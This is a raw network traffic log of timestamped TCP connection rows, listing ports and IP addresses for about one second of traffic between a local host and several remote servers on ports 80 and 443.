Nov 25, 2024 14:14:46.129123926 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.129240036 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.145462036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.145539045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.145559072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.145612001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.145852089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.145905018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.146050930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.146119118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.146190882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.146239042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.146985054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.147038937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.147190094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.147248983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.147917986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.148093939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.148156881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.148838997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.148895025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.148900986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.149132967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.149749994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.149806976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.149837017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.149950027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.150755882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.150813103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.151134968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.151212931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.151714087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.151770115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.151771069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.151810884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.152580023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.152636051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.152645111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.152759075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.153527021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.153593063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.153932095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.154104948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.154483080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.154535055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.154560089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.154707909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.155272007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.155333042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.168998003 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.169015884 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.175352097 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.209148884 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.234049082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.250917912 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.251188040 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:46.251205921 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.251562119 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.252068996 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:46.252135992 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.252355099 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:46.295327902 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.356064081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.372456074 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:46.373142004 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:46.373239040 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:46.373655081 CET	49848	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:46.373678923 CET	443	49848	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:46.380412102 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:46.380450010 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:46.380515099 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:46.380702019 CET	49866	443	192.168.2.5	23.96.180.189
Nov 25, 2024 14:14:46.380712986 CET	443	49866	23.96.180.189	192.168.2.5
Nov 25, 2024 14:14:46.402252913 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:46.406313896 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.406337976 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:46.407500982 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:46.407591105 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.408808947 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.408902884 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:46.409065962 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.409195900 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.409208059 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:46.420981884 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:46.421722889 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:46.421765089 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:46.422971010 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:46.422977924 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:46.423074961 CET	49849	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:46.423091888 CET	443	49849	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:46.453686953 CET	49847	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:46.462585926 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.463547945 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.463584900 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.464042902 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.464049101 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.469876051 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.469897985 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.469964981 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.469993114 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.470019102 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.470324039 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.470361948 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.470371008 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.470475912 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.470494986 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.472251892 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.472318888 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.472399950 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.473891973 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.473917007 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.474788904 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.474935055 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.485443115 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.486485004 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.486505985 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.487488985 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.487494946 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.492983103 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.493009090 CET	443	49858	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.493792057 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.493838072 CET	49858	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.494910955 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.494919062 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.523057938 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.525628090 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.525701046 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.525996923 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:46.526015043 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:46.566860914 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.569300890 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.569381952 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.570298910 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.570317030 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.577816010 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.578555107 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.578569889 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.579174042 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.579179049 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.581408024 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.581432104 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.581485987 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.581506014 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.581562996 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.584757090 CET	49857	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.584777117 CET	443	49857	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.590140104 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.590166092 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.590215921 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.590269089 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.590478897 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.595669031 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:46.595700026 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:46.683502913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.683576107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.683585882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.683621883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.683845997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.683895111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.684037924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.684082031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.684807062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.684870005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.684999943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.685102940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.685652971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.685705900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.685831070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.685878038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.686439037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.686500072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.686566114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.686613083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.687352896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.687417030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.687946081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.688261032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.688291073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.688323975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.688324928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.688359976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.689186096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.689239979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.689332962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.689559937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.690118074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.690340042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.690401077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.691219091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.691272974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.691292048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.691327095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.692178011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.692235947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.692483902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.692998886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.693042040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.693298101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.693861961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.693917990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.694174051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.694235086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.694955111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.695063114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.695940018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.695996046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.696129084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.696141005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.696183920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.697340012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.697426081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.697957993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.698004961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.698158979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.698173046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.698221922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.700583935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.700597048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.700608015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.700656891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.700661898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.700681925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.700709105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.701694012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.701751947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.702331066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.702447891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.702491045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.702867031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.702917099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.703352928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.703408003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.703437090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.703474045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.704097033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.704145908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.704430103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.704960108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.705135107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.705147982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.705221891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.706383944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.706435919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.706913948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.707241058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.707530975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.707541943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.707580090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.707597017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.709014893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.710119963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.710253000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.710264921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.710302114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.710479021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.710566044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.711222887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.711380959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.711981058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.711992979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.712017059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.712044001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.712061882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.712908030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.712985039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.713032007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.713607073 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.713680029 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.713779926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.713876963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.713876009 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:46.713960886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.714107037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.714620113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.714675903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.714703083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:46.714819908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:46.715054035 CET	49859	443	192.168.2.5	18.164.116.98
Nov 25, 2024 14:14:46.715074062 CET	443	49859	18.164.116.98	192.168.2.5
Nov 25, 2024 14:14:46.904851913 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:46.905179977 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:46.905199051 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:46.905559063 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:46.905864954 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:46.905927896 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:46.906342983 CET	49860	443	192.168.2.5	20.110.205.119
Nov 25, 2024 14:14:46.924758911 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.924937963 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.925039053 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.931304932 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.931386948 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.931616068 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.934972048 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.934994936 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.935008049 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.935014009 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.937035084 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.937050104 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.947334051 CET	443	49860	20.110.205.119	192.168.2.5
Nov 25, 2024 14:14:46.981618881 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.981663942 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.981791973 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.981836081 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.981841087 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.981882095 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.992773056 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.992789030 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:46.992883921 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:46.992918968 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.021457911 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.021517992 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.021576881 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.021853924 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.021920919 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.021956921 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.021974087 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.022231102 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.022382021 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.022443056 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.033400059 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.033418894 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.037748098 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.037786007 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.038029909 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.039160013 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.039171934 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.041395903 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.041434050 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.041487932 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.041606903 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:47.041616917 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:47.168929100 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.177201033 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.177222967 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.178293943 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.178350925 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.179711103 CET	49863	443	192.168.2.5	23.219.82.98
Nov 25, 2024 14:14:47.179774046 CET	443	49863	23.219.82.98	192.168.2.5
Nov 25, 2024 14:14:47.185142994 CET	443	49847	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:47.185458899 CET	443	49847	40.79.167.8	192.168.2.5
